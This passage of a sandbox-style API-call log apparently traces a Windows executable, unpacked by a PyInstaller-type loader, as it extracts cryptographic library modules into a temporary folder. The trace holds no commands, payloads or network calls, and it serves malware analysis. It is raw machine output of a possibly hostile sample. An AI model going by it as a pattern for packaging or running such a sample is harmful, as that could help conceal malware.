hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.410] CloseHandle (hObject=0x10c) returned 1 [0034.411] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.411] htonl (hostlong=0x30000000) returned 0x30 [0034.411] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.411] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.411] GetFileType (hFile=0x10c) returned 0x1 [0034.411] htonl (hostlong=0xc63a0100) returned 0x13ac6 [0034.411] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5eac6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.411] htonl (hostlong=0x800d0000) returned 0xd80 [0034.411] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd80) returned 0x55d270 [0034.411] htonl (hostlong=0x800d0000) returned 0xd80 [0034.411] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55dff8 [0034.411] ReadFile (in: hFile=0x10c, lpBuffer=0x55dff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55dff8*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.412] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.412] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a00) returned 0x560088 [0034.412] htonl (hostlong=0x800d0000) returned 0xd80 [0034.412] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.412] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561a90 [0034.412] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561a90 | out: hHeap=0x530000) returned 1 [0034.412] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.412] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dff8 | out: hHeap=0x530000) returned 1 [0034.412] CloseHandle (hObject=0x10c) returned 1 [0034.412] GetLastError () returned 0x0 [0034.412] SetLastError (dwErrCode=0x0) [0034.412] GetLastError () returned 0x0 [0034.412] SetLastError (dwErrCode=0x0) [0034.412] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.412] GetFileType (hFile=0x10c) returned 0x1 [0034.412] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.412] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.412] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.412] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.412] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.412] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.412] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.412] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.413] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.413] CloseHandle (hObject=0x10c) returned 1 [0034.413] GetLastError () returned 0x0 [0034.413] SetLastError (dwErrCode=0x0) [0034.413] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.413] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.413] GetFileType (hFile=0x10c) returned 0x1 [0034.413] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.413] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.413] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.413] CloseHandle (hObject=0x10c) returned 1 [0034.413] GetLastError () returned 0x0 [0034.413] SetLastError (dwErrCode=0x0) [0034.413] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cfb.pyd") returned 72 [0034.413] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cfb.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_cfb.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.413] GetLastError () returned 0x2 [0034.414] SetLastError (dwErrCode=0x2) [0034.414] GetLastError () returned 0x2 [0034.414] SetLastError (dwErrCode=0x2) [0034.414] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cfb.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cfb.pyd", lpFilePart=0x0) returned 0x47 [0034.414] GetLastError () returned 0x2 [0034.414] SetLastError (dwErrCode=0x2) [0034.414] GetLastError () returned 0x2 [0034.414] SetLastError (dwErrCode=0x2) [0034.414] GetLastError () returned 0x2 [0034.414] SetLastError (dwErrCode=0x2) [0034.414] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cfb.pyd") returned 72 [0034.414] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.414] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cfb.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_cfb.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.415] GetFileType (hFile=0x10c) returned 0x1 [0034.415] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.415] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.416] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.416] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0034.416] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.416] CloseHandle (hObject=0x10c) returned 1 [0034.417] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.417] htonl (hostlong=0x30000000) returned 0x30 [0034.417] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.417] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.417] GetFileType (hFile=0x10c) returned 0x1 [0034.417] htonl (hostlong=0x46480100) returned 0x14846 [0034.417] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f846, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.417] htonl (hostlong=0x2d0f0000) returned 0xf2d [0034.417] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf2d) returned 0x55d270 [0034.417] htonl (hostlong=0x2d0f0000) returned 0xf2d [0034.417] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.417] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.417] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.417] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e00) returned 0x561090 [0034.417] htonl (hostlong=0x2d0f0000) returned 0xf2d [0034.417] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.417] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562e98 [0034.417] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562e98 | out: hHeap=0x530000) returned 1 [0034.417] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.417] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.417] CloseHandle (hObject=0x10c) returned 1 [0034.418] GetLastError () returned 0x0 [0034.418] SetLastError (dwErrCode=0x0) [0034.418] GetLastError () returned 0x0 [0034.418] SetLastError (dwErrCode=0x0) [0034.418] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.418] GetFileType (hFile=0x10c) returned 0x1 [0034.418] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.418] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.418] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.418] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.418] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.418] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.418] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.418] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.418] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.418] CloseHandle (hObject=0x10c) returned 1 [0034.418] GetLastError () returned 0x0 [0034.418] SetLastError (dwErrCode=0x0) [0034.418] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.418] GetFileType (hFile=0x10c) returned 0x1 [0034.419] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.419] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.419] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.419] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.419] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.419] CloseHandle (hObject=0x10c) returned 1 [0034.419] GetLastError () returned 0x0 [0034.419] SetLastError (dwErrCode=0x0) [0034.419] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ctr.pyd") returned 72 [0034.419] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ctr.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_ctr.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.419] GetLastError () returned 0x2 [0034.419] SetLastError (dwErrCode=0x2) [0034.419] GetLastError () returned 0x2 [0034.419] SetLastError (dwErrCode=0x2) [0034.419] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ctr.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ctr.pyd", lpFilePart=0x0) returned 0x47 [0034.419] GetLastError () returned 0x2 [0034.419] SetLastError (dwErrCode=0x2) [0034.419] GetLastError () returned 0x2 [0034.419] SetLastError (dwErrCode=0x2) [0034.419] GetLastError () returned 0x2 [0034.419] SetLastError (dwErrCode=0x2) [0034.419] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ctr.pyd") returned 72 [0034.419] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.419] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_ctr.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_ctr.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.420] GetFileType (hFile=0x10c) returned 0x1 [0034.420] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.420] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.421] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0034.421] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe00, lpOverlapped=0x0) returned 1 [0034.422] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.422] CloseHandle (hObject=0x10c) returned 1 [0034.423] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0034.423] htonl (hostlong=0x30000000) returned 0x30 [0034.423] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.423] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.423] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.423] GetFileType (hFile=0x10c) returned 0x1 [0034.423] htonl (hostlong=0x73570100) returned 0x15773 [0034.423] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60773, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.423] htonl (hostlong=0xeb340000) returned 0x34eb [0034.423] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x34eb) returned 0x560088 [0034.423] htonl (hostlong=0xeb340000) returned 0x34eb [0034.423] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x3000, lpOverlapped=0x0) returned 1 [0034.424] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.424] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.424] htonl (hostlong=0xb60000) returned 0xb600 [0034.424] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb600) returned 0x563580 [0034.424] htonl (hostlong=0xeb340000) returned 0x34eb [0034.424] htonl (hostlong=0xb60000) returned 0xb600 [0034.424] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56eb88 [0034.424] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56eb88 | out: hHeap=0x530000) returned 1 [0034.424] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.425] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.425] CloseHandle (hObject=0x10c) returned 1 [0034.425] GetLastError () returned 0x0 [0034.425] SetLastError (dwErrCode=0x0) [0034.425] GetLastError () returned 0x0 [0034.425] SetLastError (dwErrCode=0x0) [0034.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.425] GetFileType (hFile=0x10c) returned 0x1 [0034.425] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.425] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.425] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.425] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.425] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.425] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.425] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.425] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.425] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.425] CloseHandle (hObject=0x10c) returned 1 [0034.425] GetLastError () returned 0x0 [0034.425] SetLastError (dwErrCode=0x0) [0034.425] 